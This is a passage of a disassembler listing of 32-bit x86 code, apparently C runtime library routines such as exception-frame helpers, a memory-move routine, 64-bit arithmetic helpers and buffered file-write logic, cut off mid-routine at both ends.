ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D52A loc_41D4F1: ; CODE XREF: sub_41D4D3+52j cmp esi, 0FFFFFFFFh jnz short loc_41D4FB call sub_422E52 loc_41D4FB: ; CODE XREF: sub_41D4D3+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D510 cmp ecx, [eax+8] jle short loc_41D515 loc_41D510: ; CODE XREF: sub_41D4D3+36j cmp esi, 0FFFFFFFFh jnz short loc_41D521 loc_41D515: ; CODE XREF: sub_41D4D3+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D521: ; CODE XREF: sub_41D4D3+40j cmp [ebp+arg_4], 0 jge short loc_41D4F1 mov eax, [ebp+var_4] loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D53E cmp esi, eax jbe short loc_41D543 loc_41D53E: ; CODE XREF: sub_41D4D3+65j call sub_422E52 loc_41D543: ; CODE XREF: sub_41D4D3+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D4D3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41D568 push [ebp+arg_0] call sub_426356 sub_41D550 endp ; =============== S U B R O U T I N E ======================================= sub_41D568 proc near ; DATA XREF: sub_41D550+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D568 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D570 proc near ; DATA XREF: sub_41D592+Ao ; sub_41D5FA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D591 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D591: ; CODE XREF: sub_41D570+10j retn sub_41D570 endp ; =============== S U B R O U T I N E ======================================= sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp ; sub_423CC0+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D570 push large dword ptr fs:0 mov large fs:0, esp loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D5EC cmp esi, [esp+1Ch+arg_4] jz short loc_41D5EC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D5EA push 101h mov eax, [ebx+esi*4+8] call sub_41D626 call dword ptr [ebx+esi*4+8] loc_41D5EA: ; CODE XREF: sub_41D592+44j jmp short loc_41D5AF ; --------------------------------------------------------------------------- loc_41D5EC: ; CODE XREF: sub_41D592+2Aj ; sub_41D592+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D592 endp ; =============== S U B R O U T I N E ======================================= sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D570 jnz short locret_41D61C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D61C mov eax, 1 locret_41D61C: ; CODE XREF: sub_41D5FA+10j ; sub_41D5FA+1Bj retn sub_41D5FA endp ; =============== S U B R O U T I N E ======================================= sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep ; sub_422DB0+40p push ebx push ecx mov ebx, offset dword_43AE2C jmp short loc_41D630 sub_41D61D endp ; =============== S U B R O U T I N E ======================================= sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp ; sub_423CC0+78p push ebx push ecx mov ebx, offset dword_43AE2C mov ecx, [ebp+8] loc_41D630: ; CODE XREF: sub_41D61D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D626 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_40D340+5p ; sub_40D4E2+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D640 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D65F proc near ; CODE XREF: sub_40D977+26p ; ___:004260F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BA91 pop ecx retn sub_41D65F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap ; sub_41E742+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D690 cmp edi, eax jb loc_41D808 loc_41D690: ; CODE XREF: sub_41D670+16j test edi, 3 jnz short loc_41D6AC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- loc_41D6AC: ; CODE XREF: sub_41D670+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D6C4 and eax, 3 add ecx, eax jmp dword ptr loc_41D6CC+4[eax*4] ; --------------------------------------------------------------------------- loc_41D6C4: ; CODE XREF: sub_41D670+46j jmp dword ptr loc_41D7C8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D6CC: ; CODE XREF: sub_41D670+31j ; sub_41D670+8Ej ... jmp off_41D74C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D6E0 dd offset loc_41D70C dd offset loc_41D730 ; --------------------------------------------------------------------------- loc_41D6E0: ; DATA XREF: sub_41D670+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D70C: ; DATA XREF: sub_41D670+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D730: ; DATA XREF: sub_41D670+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr dd offset loc_41D79C dd offset loc_41D794 dd offset loc_41D78C dd offset loc_41D784 dd offset loc_41D77C dd offset loc_41D774 dd offset loc_41D76C ; --------------------------------------------------------------------------- loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670:off_41D74Co jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r ; sub_41D670+92r ... dd offset loc_41D7D0 dd offset loc_41D7DC dd offset loc_41D7F0 ; --------------------------------------------------------------------------- loc_41D7C8: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7D0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D7DC: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7F0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D808: ; CODE XREF: sub_41D670+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D83C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D830: ; CODE XREF: sub_41D670+1B1j ; sub_41D670+208j ... neg ecx jmp off_41D900[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D83C: ; CODE XREF: sub_41D670+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D854 and eax, 3 sub ecx, eax jmp dword ptr loc_41D854+4[eax*4] ; --------------------------------------------------------------------------- loc_41D854: ; CODE XREF: sub_41D670+1D6j ; DATA XREF: sub_41D670+1DDr jmp off_41D950[ecx*4] ; --------------------------------------------------------------------------- align 4 push 880041D8h fadd dword ptr [ecx+0] mov al, 0D8h inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D904 dd offset loc_41D90C dd offset loc_41D914 dd offset loc_41D91C dd offset loc_41D924 dd offset loc_41D92C dd offset loc_41D934 off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r ; --------------------------------------------------------------------------- loc_41D904: ; DATA XREF: sub_41D670+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D90C: ; DATA XREF: sub_41D670+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D914: ; DATA XREF: sub_41D670+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D91C: ; DATA XREF: sub_41D670+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D924: ; DATA XREF: sub_41D670+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D92C: ; DATA XREF: sub_41D670+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D934: ; DATA XREF: sub_41D670+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D947: ; CODE XREF: sub_41D670+1C2j ; DATA XREF: sub_41D670:off_41D900o jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r ; sub_41D670:loc_41D854r ... dd offset loc_41D968 dd offset loc_41D978 dd offset loc_41D98C ; --------------------------------------------------------------------------- loc_41D960: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D968: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D978: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D98C: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D670 endp ; =============== S U B R O U T I N E ======================================= sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p ; sub_40DA4F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41D9A5 endp ; =============== S U B R O U T I N E ======================================= sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p arg_0 = dword ptr 4 push esi push dword_4DD39C call sub_422EA8 mov edx, dword_4DD39C pop ecx mov ecx, dword_4DD398 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41DA12 push edx call sub_422EA8 add eax, 10h push eax push dword_4DD39C call sub_41BBE2 add esp, 0Ch test eax, eax jnz short loc_41D9F5 retn ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj mov ecx, dword_4DD398 sub ecx, dword_4DD39C mov dword_4DD39C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DD398, ecx loc_41DA12: ; CODE XREF: sub_41D9B3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DD398, 4 retn sub_41D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D9B3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41DA20 endp ; =============== S U B R O U T I N E ======================================= sub_41DA32 proc near ; DATA XREF: ___:00429018o push 80h call sub_41BEB5 test eax, eax pop ecx mov dword_4DD39C, eax jnz short loc_41DA53 push 18h call sub_41E2C9 mov eax, dword_4DD39C pop ecx loc_41DA53: ; CODE XREF: sub_41DA32+12j and dword ptr [eax], 0 mov eax, dword_4DD39C mov dword_4DD398, eax retn sub_41DA32 endp ; =============== S U B R O U T I N E ======================================= sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap ; sub_40DB5E+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_41DA75 loc_41DA6D: ; CODE XREF: sub_41DA61+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41DA6D loc_41DA75: ; CODE XREF: sub_41DA61+Aj mov edx, [esp+arg_4] push esi loc_41DA7A: ; CODE XREF: sub_41DA61+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_41DA7A pop esi retn sub_41DA61 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41DB07 mov edi, [esp+14h] test edi, edi jz short loc_41DAAA cmp edi, 1 jz short loc_41DAAA cmp edi, 2 jnz short loc_41DB07 loc_41DAAA: ; CODE XREF: ___:0041DA9Ej ; ___:0041DAA3j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41DAC1 push esi call sub_422FA3 add [esp+14h], eax pop ecx xor edi, edi loc_41DAC1: ; CODE XREF: ___:0041DAB2j push esi call sub_41E42B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41DAD6 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41DAEA ; --------------------------------------------------------------------------- loc_41DAD6: ; CODE XREF: ___:0041DACDj test al, 1 jz short loc_41DAEA test al, 8 jz short loc_41DAEA test ah, 4 jnz short loc_41DAEA mov dword ptr [esi+18h], 200h loc_41DAEA: ; CODE XREF: ___:0041DAD4j ; ___:0041DAD8j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_422F09 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41DB14 ; --------------------------------------------------------------------------- loc_41DB07: ; CODE XREF: ___:0041DA96j ; ___:0041DAA8j mov dword_4DBDDC, 16h or eax, 0FFFFFFFFh loc_41DB14: ; CODE XREF: ___:0041DB05j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep ; sub_4143F7+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DB39 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DB39: ; CODE XREF: sub_41DB20+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB54 proc near ; CODE XREF: ___:0041668Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41DB78 xor eax, eax jmp loc_41DC45 ; --------------------------------------------------------------------------- loc_41DB78: ; CODE XREF: sub_41DB54+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DB8B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41DB92 ; --------------------------------------------------------------------------- loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj mov [ebp+arg_C], 1000h loc_41DB92: ; CODE XREF: sub_41DB54+35j ; sub_41DB54+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DBC6 mov eax, [esi+4] test eax, eax jz short loc_41DBC6 cmp ebx, eax mov edi, ebx jb short loc_41DBAC mov edi, eax loc_41DBAC: ; CODE XREF: sub_41DB54+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41CD20 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DC0C ; --------------------------------------------------------------------------- loc_41DBC6: ; CODE XREF: sub_41DB54+47j ; sub_41DB54+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DC11 test ecx, ecx jz short loc_41DBDA push esi call sub_41E42B test eax, eax pop ecx jnz short loc_41DC53 loc_41DBDA: ; CODE XREF: sub_41DB54+79j cmp [ebp+arg_C], 0 jz short loc_41DBED mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DBEF ; --------------------------------------------------------------------------- loc_41DBED: ; CODE XREF: sub_41DB54+8Aj mov edi, ebx loc_41DBEF: ; CODE XREF: sub_41DB54+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DC4A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DC4A loc_41DC0C: ; CODE XREF: sub_41DB54+70j mov edi, [ebp+var_4] jmp short loc_41DC3A ; --------------------------------------------------------------------------- loc_41DC11: ; CODE XREF: sub_41DB54+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41FE2A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC53 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DC3A mov [ebp+arg_C], 1 loc_41DC3A: ; CODE XREF: sub_41DB54+BBj ; sub_41DB54+DDj test ebx, ebx jnz loc_41DB92 mov eax, [ebp+arg_8] loc_41DC45: ; CODE XREF: sub_41DB54+1Fj ; sub_41DB54+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DC4A: ; CODE XREF: sub_41DB54+ADj ; sub_41DB54+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DC55 ; --------------------------------------------------------------------------- loc_41DC53: ; CODE XREF: sub_41DB54+84j ; sub_41DB54+CFj mov eax, edi loc_41DC55: ; CODE XREF: sub_41DB54+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DC45 sub_41DB54 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 2690E7Eh cmp eax, 0FFFFFFFFh jnz short loc_41DC7E nop call near ptr 269086Bh push eax call sub_420C7F pop ecx loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj test al, 1 jz short loc_41DC9F test [esp+arg_4], 2 jz short loc_41DC9F mov dword_4DBDDC, 0Dh mov dword_4DBDE0, 5 jmp short loc_41DC7A ; --------------------------------------------------------------------------- loc_41DC9F: ; CODE XREF: sub_41DC5E+22j ; sub_41DC5E+29j xor eax, eax retn sub_41DC5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp ; sub_41AED9+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DCD2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DD13 ; --------------------------------------------------------------------------- loc_41DCD2: ; CODE XREF: sub_41DCB0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DCE0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DD0E cmp edx, [esp+8+arg_4] ja short loc_41DD0E jb short loc_41DD0F cmp eax, [esp+8+arg_0] jbe short loc_41DD0F loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej ; sub_41DCB0+54j dec esi loc_41DD0F: ; CODE XREF: sub_41DCB0+56j ; sub_41DCB0+5Cj xor edx, edx mov eax, esi loc_41DD13: ; CODE XREF: sub_41DCB0+20j pop esi pop ebx retn 10h sub_41DCB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp ; sub_41AED9+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DD41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DD91 ; --------------------------------------------------------------------------- loc_41DD41: ; CODE XREF: sub_41DD20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DD4F: ; CODE XREF: sub_41DD20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DD4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DD7A cmp edx, [esp+4+arg_4] ja short loc_41DD7A jb short loc_41DD82 cmp eax, [esp+4+arg_0] jbe short loc_41DD82 loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj ; sub_41DD20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DD82: ; CODE XREF: sub_41DD20+52j ; sub_41DD20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DD91: ; CODE XREF: sub_41DD20+1Fj pop ebx retn 10h sub_41DD20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp ; sub_416DD9+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DDC1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DDDD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DDDD: ; CODE XREF: sub_41DDA0+27j or eax, eax jnz short loc_41DDF9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DE3A ; --------------------------------------------------------------------------- loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DE07: ; CODE XREF: sub_41DDA0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DE07 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DE35 cmp edx, [esp+0Ch+arg_4] ja short loc_41DE35 jb short loc_41DE36 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DE36 loc_41DE35: ; CODE XREF: sub_41DDA0+85j ; sub_41DDA0+8Bj dec esi loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj ; sub_41DDA0+93j xor edx, edx mov eax, esi loc_41DE3A: ; CODE XREF: sub_41DDA0+57j dec edi jnz short loc_41DE44 neg edx neg eax sbb edx, 0 loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj pop ebx pop esi pop edi retn 10h sub_41DDA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE4A proc near ; CODE XREF: sub_417493+BFp ; sub_417493+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DBE84 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41DE7E mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41DEE5 loc_41DE66: ; CODE XREF: sub_41DE4A+30j mov cl, [edx] cmp cl, 61h jl short loc_41DE77 cmp cl, 7Ah jg short loc_41DE77 sub cl, 20h mov [edx], 